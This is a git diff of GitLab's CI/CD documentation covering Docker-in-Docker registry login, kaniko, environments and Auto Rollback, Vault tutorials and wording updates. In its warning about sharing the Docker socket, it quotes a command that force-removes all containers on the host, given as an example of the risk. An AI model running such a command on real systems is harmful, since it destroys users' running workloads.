``` + +This method avoids using Docker in privileged mode. However, +the implications of this method are: + +- By sharing the Docker daemon, you are effectively disabling all + the security mechanisms of containers and exposing your host to privilege + escalation, which can lead to container breakout. For example, if a project + ran `docker rm -f $(docker ps -a -q)` it would remove the GitLab Runner + containers. +- Concurrent jobs may not work; if your tests + create containers with specific names, they may conflict with each other. +- Sharing files and directories from the source repository into containers may not + work as expected. Volume mounting is done in the context of the host + machine, not the build container. For example: + + ```shell + docker run --rm -t -i -v $(pwd)/src:/home/app/src test-image:latest run_app_tests + ``` + #### Enable registry mirror for `docker:dind` service When the Docker daemon starts inside of the service container, it uses @@ -381,7 +526,7 @@ content: Update the `config.toml` file to mount the file to `/etc/docker/daemon.json`. This would mount the file for **every** -container that is created by GitLab Runner. The configuration will be +container that is created by GitLab Runner. The configuration is picked up by the `dind` service. ```toml @@ -422,7 +567,7 @@ of this file. You can do this with a command like: kubectl create configmap docker-daemon --namespace gitlab-runner --from-file /tmp/daemon.json ``` -NOTE: **Note:** +NOTE: Make sure to use the namespace that GitLab Runner Kubernetes executor uses to create job pods in. @@ -444,89 +589,146 @@ The configuration is picked up by the `dind` service. sub_path = "daemon.json" ``` -#### Use Docker socket binding +## Authenticating with registry in Docker-in-Docker -The third approach is to bind-mount `/var/run/docker.sock` into the -container so that Docker is available in the context of that image. +When you use Docker-in-Docker, the [normal authentication +methods](using_docker_images.html#define-an-image-from-a-private-container-registry) +won't work because a fresh Docker daemon is started with the service. -NOTE: **Note:** -If you bind the Docker socket [when using GitLab Runner 11.11 or -newer](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1261), -you can no longer use `docker:19.03.12-dind` as a service because volume bindings -are done to the services as well, making these incompatible. +### Option 1: Run `docker login` -In order to do that, follow the steps: +In [`before_script`](../yaml/README.md#before_script) run `docker +login`: -1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/). -1. Register GitLab Runner from the command line to use `docker` and share `/var/run/docker.sock`: +```yaml +image: docker:19.03.13 - ```shell - sudo gitlab-runner register -n \ - --url https://gitlab.com/ \ - --registration-token REGISTRATION_TOKEN \ - --executor docker \ - --description "My Docker Runner" \ - --docker-image "docker:19.03.12" \ - --docker-volumes /var/run/docker.sock:/var/run/docker.sock - ``` +variables: + DOCKER_TLS_CERTDIR: "/certs" - The above command registers a new runner to use the special - `docker:19.03.12` image which is provided by Docker. **Notice that it's using - the Docker daemon of the runner itself, and any containers spawned by Docker - commands are siblings of the runner rather than children of the runner.** - This may have complications and limitations that are unsuitable for your workflow. +services: + - docker:19.03.13-dind - The above command creates a `config.toml` entry similar to this: +build: + stage: build + before_script: + - echo "$DOCKER_REGISTRY_PASS" | docker login $DOCKER_REGISTRY --username $DOCKER_REGISTRY_USER --password-stdin + script: + - docker build -t my-docker-image . + - docker run my-docker-image /script/to/run/tests +``` - ```toml - [[runners]] - url = "https://gitlab.com/" - token = REGISTRATION_TOKEN - executor = "docker" - [runners.docker] - tls_verify = false - image = "docker:19.03.12" - privileged = false - disable_cache = false - volumes = ["/var/run/docker.sock:/var/run/docker.sock", "/cache"] - [runners.cache] - Insecure = false - ``` +To log in to Docker Hub, leave `$DOCKER_REGISTRY` +empty or remove it. -1. You can now use `docker` in the build script (note that you don't need to - include the `docker:19.03.12-dind` service as when using the Docker in Docker - executor): +### Option 2: Mount `~/.docker/config.json` on each job - ```yaml - image: docker:19.03.12 +If you are an administrator for GitLab Runner, you can mount a file +with the authentication configuration to `~/.docker/config.json`. +Then every job that the runner picks up will be authenticated already. If you +are using the official `docker:19.03.13` image, the home directory is +under `/root`. - before_script: - - docker info +If you mount the configuration file, any `docker` command +that modifies the `~/.docker/config.json` (for example, `docker login`) +fails, because the file is mounted as read-only. Do not change it from +read-only, because other problems will occur. - build: - stage: build - script: - - docker build -t my-docker-image . - - docker run my-docker-image /script/to/run/tests - ``` +Here is an example of `/opt/.docker/config.json` that follows the +[`DOCKER_AUTH_CONFIG`](using_docker_images.md#determining-your-docker_auth_config-data) +documentation: -While the above method avoids using Docker in privileged mode, you should be -aware of the following implications: +```json +{ + "auths": { + "https://index.docker.io/v1/": { + "auth": "bXlfdXNlcm5hbWU6bXlfcGFzc3dvcmQ=" + } + } +} +``` -- By sharing the Docker daemon, you are effectively disabling all - the security mechanisms of containers and exposing your host to privilege - escalation which can lead to container breakout. For example, if a project - ran `docker rm -f $(docker ps -a -q)` it would remove the GitLab Runner - containers. -- Concurrent jobs may not work; if your tests - create containers with specific names, they may conflict with each other. -- Sharing files and directories from the source repository into containers may not - work as expected since volume mounting is done in the context of the host - machine, not the build container. For example: +#### Docker - ```shell - docker run --rm -t -i -v $(pwd)/src:/home/app/src test-image:latest run_app_tests - ``` +Update the [volume +mounts](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#volumes-in-the-runnersdocker-section) +to include the file. + +```toml +[[runners]] + ... + executor = "docker" + [runners.docker] + ... + privileged = true + volumes = ["/opt/.docker/config.json:/root/.docker/config.json:ro"] +``` + +#### Kubernetes + +Create a [ConfigMap](https://kubernetes.io/docs/concepts/configuration/configmap/) with the content +of this file. You can do this with a command like: + +```shell +kubectl create configmap docker-client-config --namespace gitlab-runner --from-file /opt/.docker/config.json +``` + +Update the [volume +mounts](https://docs.gitlab.com/runner/executors/kubernetes.html#using-volumes) +to include the file. + +```toml +[[runners]] + ... + executor = "kubernetes" + [runners.kubernetes] + image = "alpine:3.12" + privileged = true + [[runners.kubernetes.volumes.config_map]] + name = "docker-client-config" + mount_path = "/root/.docker/config.json" + # If you are running GitLab Runner 13.5 + # or lower you can remove this + sub_path = "config.json" +``` + +### Option 3: Use `DOCKER_AUTH_CONFIG` + +If you already have +[`DOCKER_AUTH_CONFIG`](using_docker_images.md#determining-your-docker_auth_config-data) +defined, you can use the variable and save it in +`~/.docker/config.json`. + +There are multiple ways to define this. For example: + +- Inside + [`pre_build_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) + inside of the runner configuration file. +- Inside [`before_script`](../yaml/README.md#before_script). +- Inside of [`script`](../yaml/README.md#script). + +Below is an example of +[`before_script`](../yaml/README.md#before_script). The same commands +apply for any solution you implement. + +```yaml +image: docker:19.03.13 + +variables: + DOCKER_TLS_CERTDIR: "/certs" + +services: + - docker:19.03.13-dind + +build: + stage: build + before_script: + - mkdir -p $HOME/.docker + - echo $DOCKER_AUTH_CONFIG > $HOME/.docker/config.json + script: + - docker build -t my-docker-image . + - docker run my-docker-image /script/to/run/tests +``` ## Making Docker-in-Docker builds faster with Docker layer caching @@ -586,7 +788,7 @@ The steps in the `script` section for the `build` stage can be summed up to: ## Use the OverlayFS driver -NOTE: **Note:** +NOTE: The shared runners on GitLab.com use the `overlay2` driver by default. By default, when using `docker:dind`, Docker uses the `vfs` storage driver which diff --git a/doc/ci/docker/using_docker_images.md b/doc/ci/docker/using_docker_images.md index b8563182bd9..7171269cf2d 100644 --- a/doc/ci/docker/using_docker_images.md +++ b/doc/ci/docker/using_docker_images.md @@ -1,7 +1,7 @@ --- stage: Verify group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- diff --git a/doc/ci/docker/using_kaniko.md b/doc/ci/docker/using_kaniko.md index f9b09bada14..13d3c607f8a 100644 --- a/doc/ci/docker/using_kaniko.md +++ b/doc/ci/docker/using_kaniko.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -37,8 +37,8 @@ few important details: - The kaniko debug image is recommended (`gcr.io/kaniko-project/executor:debug`) because it has a shell, and a shell is required for an image to be used with GitLab CI/CD. -- The entrypoint will need to be [overridden](using_docker_images.md#overriding-the-entrypoint-of-an-image), - otherwise the build script will not run. +- The entrypoint needs to be [overridden](using_docker_images.md#overriding-the-entrypoint-of-an-image), + otherwise the build script doesn't run. - A Docker `config.json` file needs to be created with the authentication information for the desired container registry. @@ -47,7 +47,7 @@ In the following example, kaniko is used to: 1. Build a Docker image. 1. Then push it to [GitLab Container Registry](../../user/packages/container_registry/index.md). -The job will run only when a tag is pushed. A `config.json` file is created under +The job runs only when a tag is pushed. A `config.json` file is created under `/kaniko/.docker` with the needed GitLab Container Registry credentials taken from the [environment variables](../variables/README.md#predefined-environment-variables) GitLab CI/CD provides. @@ -66,8 +66,8 @@ build: - mkdir -p /kaniko/.docker - echo "{\"auths\":{\"$CI_REGISTRY\":{\"username\":\"$CI_REGISTRY_USER\",\"password\":\"$CI_REGISTRY_PASSWORD\"}}}" > /kaniko/.docker/config.json - /kaniko/executor --context $CI_PROJECT_DIR --dockerfile $CI_PROJECT_DIR/Dockerfile --destination $CI_REGISTRY_IMAGE:$CI_COMMIT_TAG - only: - - tags + rules: + - if: $CI_COMMIT_TAG ``` ## Using a registry with a custom certificate @@ -106,14 +106,10 @@ Guided Exploration project pipeline. It was tested on: The example can be copied to your own group or instance for testing. More details on what other GitLab CI patterns are demonstrated are available at the project page. -<!-- ## Troubleshooting +## Troubleshooting -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support, and to avoid doc comments with -questions that you know someone might ask. +### 403 error: "error checking push permissions" -Each scenario can be a third-level heading, e.g. `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> +If you receive this error, it might be due to an outside proxy. Setting the `http_proxy` +and `https_proxy` [environment variables](../../administration/packages/container_registry.md#running-the-docker-daemon-with-a-proxy) +can fix the problem. diff --git a/doc/ci/enable_or_disable_ci.md b/doc/ci/enable_or_disable_ci.md index 8b88ec509e7..f59e32fb46d 100644 --- a/doc/ci/enable_or_disable_ci.md +++ b/doc/ci/enable_or_disable_ci.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -31,7 +31,7 @@ either: - Site-wide by modifying the settings in `gitlab.yml` and `gitlab.rb` for source and Omnibus installations respectively. -This only applies to pipelines run as part of GitLab CI/CD. This will not enable or disable +This only applies to pipelines run as part of GitLab CI/CD. This doesn't enable or disable pipelines that are run from an [external integration](../user/project/integrations/overview.md#integrations-listing). ## Per-project user setting @@ -42,7 +42,7 @@ To enable or disable GitLab CI/CD Pipelines in your project: 1. Expand the **Repository** section 1. Enable or disable the **Pipelines** toggle as required. -**Project visibility** will also affect pipeline visibility. If set to: +**Project visibility** also affects pipeline visibility. If set to: - **Private**: Only project members can access pipelines. - **Internal** or **Public**: Pipelines can be set to either **Only Project Members** @@ -57,9 +57,9 @@ for source installations, and `gitlab.rb` for Omnibus installations. Two things to note: -- Disabling GitLab CI/CD, will affect only newly-created projects. Projects that - had it enabled prior to this modification, will work as before. -- Even if you disable GitLab CI/CD, users will still be able to enable it in the +- Disabling GitLab CI/CD affects only newly-created projects. Projects that + had it enabled prior to this modification work as before. +- Even if you disable GitLab CI/CD, users can still enable it in the project's settings. For installations from source, open `gitlab.yml` with your editor and set diff --git a/doc/ci/environments.md b/doc/ci/environments.md index b1dc9af6b5b..2ce0618c8e7 100644 --- a/doc/ci/environments.md +++ b/doc/ci/environments.md @@ -3,3 +3,6 @@ redirect_to: 'environments/index.md' --- This document was moved to [another location](environments/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md index 99f7d5d07a5..95419e58d36 100644 --- a/doc/ci/environments/deployment_safety.md +++ b/doc/ci/environments/deployment_safety.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Deployment safety diff --git a/doc/ci/environments/environments_dashboard.md b/doc/ci/environments/environments_dashboard.md index 931e5512e9e..84f8b1b1dbf 100644 --- a/doc/ci/environments/environments_dashboard.md +++ b/doc/ci/environments/environments_dashboard.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- diff --git a/doc/ci/environments/incremental_rollouts.md b/doc/ci/environments/incremental_rollouts.md index 06661e03001..81acc3a36e9 100644 --- a/doc/ci/environments/incremental_rollouts.md +++ b/doc/ci/environments/incremental_rollouts.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md index 361b7217d17..c755a954164 100644 --- a/doc/ci/environments/index.md +++ b/doc/ci/environments/index.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference disqus_identifier: 'https://docs.gitlab.com/ee/ci/environments.html' --- @@ -121,7 +121,7 @@ Note that the `environment` keyword defines where the app is deployed. The envir `url` is exposed in various places within GitLab. Each time a job that has an environment specified succeeds, a deployment is recorded along with the Git SHA and environment name. -CAUTION: **Caution:** +WARNING: Some characters are not allowed in environment names. Use only letters, numbers, spaces, and `-`, `_`, `/`, `{`, `}`, or `.`. Also, it must not start nor end with `/`. @@ -279,7 +279,7 @@ deploy_prod: The `when: manual` action: -- Exposes a "play" button in GitLab's UI for that job. +- Exposes a "play" button in the GitLab UI for that job. - Means the `deploy_prod` job will only be triggered when the "play" button is clicked. You can find the "play" button in the pipelines, environments, deployments, and jobs views. @@ -386,7 +386,7 @@ If you are deploying to a [Kubernetes cluster](../../user/project/clusters/index associated with your project, you can configure these deployments from your `gitlab-ci.yml` file. -NOTE: **Note:** +NOTE: Kubernetes configuration isn't supported for Kubernetes clusters that are [managed by GitLab](../../user/project/clusters/index.md#gitlab-managed-clusters). To follow progress on support for GitLab-managed clusters, see the @@ -413,7 +413,7 @@ deploy: - master ``` -When deploying to a Kubernetes cluster using GitLab's Kubernetes integration, +When deploying to a Kubernetes cluster using the GitLab Kubernetes integration, information about the cluster and namespace will be displayed above the job trace on the deployment job page: @@ -648,7 +648,7 @@ For example: #### Going from source files to public pages -With GitLab's [Route Maps](../review_apps/index.md#route-maps) you can go directly +With GitLab [Route Maps](../review_apps/index.md#route-maps), you can go directly from source files to public pages in the environment set for Review Apps. ### Stopping an environment @@ -894,6 +894,32 @@ longer visible on the environment page. If the alert requires a [rollback](#retrying-and-rolling-back), you can select the deployment tab from the environment page and select which deployment to roll back to. +#### Auto Rollback **(ULTIMATE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35404) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.7. + +In a typical Continuous Deployment workflow, the CI pipeline tests every commit before deploying to +production. However, problematic code can still make it to production. For example, inefficient code +that is logically correct can pass tests even though it causes severe performance degradation. +Operators and SREs monitor the system to catch such problems as soon as possible. If they find a +problematic deployment, they can roll back to a previous stable version. + +GitLab Auto Rollback eases this workflow by automatically triggering a rollback when a +[critical alert](../../operations/incident_management/alerts.md) +is detected. GitLab selects and redeploys the most recent successful deployment. + +Limitations of GitLab Auto Rollback: + +- The rollback is skipped if a deployment is running when the alert is detected. +- A rollback can happen only once in three minutes. If multiple alerts are detected at once, only + one rollback is performed. + +GitLab Auto Rollback is turned off by default. To turn it on: + +1. Visit **Project > Settings > CI/CD > Automatic deployment rollbacks**. +1. Select the checkbox for **Enable automatic rollbacks**. +1. Click **Save changes**. + ### Monitoring environments If you have enabled [Prometheus for monitoring system and response metrics](../../user/project/integrations/prometheus.md), @@ -1040,7 +1066,7 @@ Below are some links you may find interesting: - [The `.gitlab-ci.yml` definition of environments](../yaml/README.md#environment) - [A blog post on Deployments & Environments](https://about.gitlab.com/blog/2016/08/26/ci-deployment-and-environments/) - [Review Apps - Use dynamic environments to deploy your code for every branch](../review_apps/index.md) -- [Deploy Boards for your applications running on Kubernetes](../../user/project/deploy_boards.md) **(PREMIUM)** +- [Deploy Boards for your applications running on Kubernetes](../../user/project/deploy_boards.md) <!-- ## Troubleshooting diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md index eeb95947ba1..94f9aac51d6 100644 --- a/doc/ci/environments/protected_environments.md +++ b/doc/ci/environments/protected_environments.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- @@ -20,7 +20,7 @@ specific environments are "protected" to prevent unauthorized people from affect By default, a protected environment does one thing: it ensures that only people with the right privileges can deploy to it, thus keeping it safe. -NOTE: **Note:** +NOTE: A GitLab admin is always allowed to use environments, even if they are protected. To protect, update, or unprotect an environment, you need to have at least diff --git a/doc/ci/examples/README.md b/doc/ci/examples/README.md index 1abb33005ca..e728941dd9d 100644 --- a/doc/ci/examples/README.md +++ b/doc/ci/examples/README.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index --- @@ -41,8 +41,9 @@ The following table lists examples with step-by-step tutorials that are containe | Ruby on Heroku | [Test and deploy a Ruby application with GitLab CI/CD](test-and-deploy-ruby-application-to-heroku.md). | | Scala on Heroku | [Test and deploy a Scala application to Heroku](test-scala-application.md). | | Parallel testing Ruby & JS | [GitLab CI/CD parallel jobs testing for Ruby & JavaScript projects](https://docs.knapsackpro.com/2019/how-to-run-parallel-jobs-for-rspec-tests-on-gitlab-ci-pipeline-and-speed-up-ruby-javascript-testing). | -| Secrets management with Vault | [Authenticating and Reading Secrets With Hashicorp Vault](authenticating-with-hashicorp-vault/index.md). | -| Multi project pipeline | [Build, test deploy using multi project pipeline](https://gitlab.com/gitlab-examples/upstream-project). | +| Secrets management with Vault | [Authenticating and Reading Secrets With Hashicorp Vault](authenticating-with-hashicorp-vault/index.md). | +| Multi project pipeline | [Build, test deploy using multi project pipeline](https://gitlab.com/gitlab-examples/upstream-project). | +| NPM with semantic-release | [Publish NPM packages to the GitLab Package Registry using semantic-release](semantic-release.md). | ### Contributing examples @@ -90,7 +91,7 @@ choose one of these templates: - [Rust (`Rust.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Rust.gitlab-ci.yml) - [Scala (`Scala.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Scala.gitlab-ci.yml) - [Swift (`Swift.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Swift.gitlab-ci.yml) -- [Terraform (`Terraform.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml) +- [Terraform (`Terraform.latest.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.latest.gitlab-ci.yml) If a programming language or framework template is not in this list, you can contribute one. To create a template, submit a merge request diff --git a/doc/ci/examples/artifactory_and_gitlab/index.md b/doc/ci/examples/artifactory_and_gitlab/index.md index e2ee05923cd..e37bdcc9407 100644 --- a/doc/ci/examples/artifactory_and_gitlab/index.md +++ b/doc/ci/examples/artifactory_and_gitlab/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/articles/artifactory_and_gitlab/index.html' type: tutorial --- @@ -34,7 +34,7 @@ For this article you'll use a Maven app that can be cloned from our example project: 1. Log in to your GitLab account -1. Create a new project by selecting **Import project from ➔ Repo by URL** +1. Create a new project by selecting **Import project from > Repo by URL** 1. Add the following URL: ```plaintext diff --git a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md index c0fb94acdf2..b7f59761889 100644 --- a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md +++ b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- @@ -9,7 +9,7 @@ type: tutorial This tutorial demonstrates how to authenticate, configure, and read secrets with HashiCorp's Vault from GitLab CI/CD. -NOTE: **Note:** +NOTE: [GitLab Premium](https://about.gitlab.com/pricing/) supports read access to a Hashicorp Vault, and enables you to [use Vault secrets in a CI job](../../secrets/index.md#use-vault-secrets-in-a-ci-job). @@ -25,7 +25,7 @@ To follow along, you will need: - A running Vault server and access to it is required to configure authentication and create roles and policies. For HashiCorp Vaults, this can be the Open Source or Enterprise version. -NOTE: **Note:** +NOTE: You will need to replace the `vault.example.com` URL below with the URL of your Vault server and `gitlab.example.com` with the URL of your GitLab instance. ## How it works @@ -66,7 +66,7 @@ To communicate with Vault, you can use either its CLI client or perform API requ ## Example -CAUTION: **Caution:** +WARNING: JWTs are credentials, which can grant access to resources. Be careful where you paste them! Let's say you have the passwords for your staging and production databases stored in a Vault server that is running on `http://vault.example.com:8200`. Your staging password is `pa$$w0rd` and your production password is `real-pa$$w0rd`. @@ -152,7 +152,7 @@ EOF This example uses [bound_claims](https://www.vaultproject.io/api/auth/jwt#bound_claims) to specify that only a JWT with matching values for the specified claims will be allowed to authenticate. -Combined with GitLab's [protected branches](../../../user/project/protected_branches.md), you can restrict who is able to authenticate and read the secrets. +Combined with [protected branches](../../../user/project/protected_branches.md), you can restrict who is able to authenticate and read the secrets. [token_explicit_max_ttl](https://www.vaultproject.io/api/auth/jwt#token_explicit_max_ttl) specifies that the token issued by Vault, upon successful authentication, has a hard lifetime limit of 60 seconds. @@ -162,7 +162,7 @@ Combined with GitLab's [protected branches](../../../user/project/protected_bran For the full list of options, see Vault's [Create Role documentation](https://www.vaultproject.io/api/auth/jwt#create-role). -CAUTION: **Caution:** +WARNING: Always restrict your roles to project or namespace by using one of the provided claims (e.g. `project_id` or `namespace_id`). Otherwise any JWT generated by this instance may be allowed to authenticate using this role. Now, configure the JWT Authentication method: diff --git a/doc/ci/examples/browser_performance.md b/doc/ci/examples/browser_performance.md index 4a73fe2e62c..131a539499d 100644 --- a/doc/ci/examples/browser_performance.md +++ b/doc/ci/examples/browser_performance.md @@ -3,3 +3,6 @@ redirect_to: '../../user/project/merge_requests/browser_performance_testing.md#c --- This document was moved to [another location](../../user/project/merge_requests/browser_performance_testing.md#configuring-browser-performance-testing). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/code_climate.md b/doc/ci/examples/code_climate.md index 0aa108a2e73..2b7b2574ef7 100644 --- a/doc/ci/examples/code_climate.md +++ b/doc/ci/examples/code_climate.md @@ -3,3 +3,6 @@ redirect_to: 'code_quality.md' --- This document was moved to [another location](code_quality.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/code_quality.md b/doc/ci/examples/code_quality.md index 88bcead7beb..808ad6d8fef 100644 --- a/doc/ci/examples/code_quality.md +++ b/doc/ci/examples/code_quality.md @@ -3,3 +3,6 @@ redirect_to: '../../user/project/merge_requests/code_quality.md#example-configur --- This document was moved to [another location](../../user/project/merge_requests/code_quality.md#example-configuration). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/container_scanning.md b/doc/ci/examples/container_scanning.md index 6570f6b2d98..eecf939d959 100644 --- a/doc/ci/examples/container_scanning.md +++ b/doc/ci/examples/container_scanning.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/container_scanning/index.md' --- This document was moved to [another location](../../user/application_security/container_scanning/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/dast.md b/doc/ci/examples/dast.md index 9591abfc276..97c5cafae95 100644 --- a/doc/ci/examples/dast.md +++ b/doc/ci/examples/dast.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/dast/index.md' --- This document was moved to [another location](../../user/application_security/dast/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/dependency_scanning.md b/doc/ci/examples/dependency_scanning.md index dc234a3489f..dc4b7bd764a 100644 --- a/doc/ci/examples/dependency_scanning.md +++ b/doc/ci/examples/dependency_scanning.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/dependency_scanning/index.md' --- This document was moved to [another location](../../user/application_security/dependency_scanning/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md b/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md index 25b866a08ed..f4f3bf306ef 100644 --- a/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md +++ b/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- @@ -16,7 +16,7 @@ Deployment](https://about.gitlab.com/blog/2016/08/05/continuous-integration-deli method. All the code for this project can be found in this [GitLab -repo](https://gitlab.com/gitlab-examples/spring-gitlab-cf-deploy-demo). +repository](https://gitlab.com/gitlab-examples/spring-gitlab-cf-deploy-demo). In case you're interested in deploying Spring Boot applications to Kubernetes using GitLab CI/CD, read through the blog post [Continuous Delivery of a Spring Boot application with GitLab CI and Kubernetes](https://about.gitlab.com/blog/2016/12/14/continuous-delivery-of-a-spring-boot-application-with-gitlab-ci-and-kubernetes/). @@ -31,7 +31,7 @@ To follow along, you will need: other Cloud Foundry (CF) instance. - An account on GitLab. -NOTE: **Note:** +NOTE: You will need to replace the `api.run.pivotal.io` URL in the all below commands with the [API URL](https://docs.cloudfoundry.org/running/cf-api-endpoint.html) of your CF @@ -116,7 +116,7 @@ After set up, GitLab CI/CD deploys your app to CF at every push to your repository's default branch. To review the build logs or watch your builds running live, navigate to **CI/CD > Pipelines**. -CAUTION: **Caution:** +WARNING: It's considered best practice for security to create a separate deploy user for your application and add its credentials to GitLab instead of using a developer's credentials. diff --git a/doc/ci/examples/deployment/README.md b/doc/ci/examples/deployment/README.md index f29770b8f57..386512af38b 100644 --- a/doc/ci/examples/deployment/README.md +++ b/doc/ci/examples/deployment/README.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- @@ -116,7 +116,7 @@ We also use two secure variables: ## Storing API keys Secure Variables can added by going to your project's -**Settings ➔ CI / CD ➔ Variables**. The variables that are defined +**Settings > CI / CD > Variables**. The variables 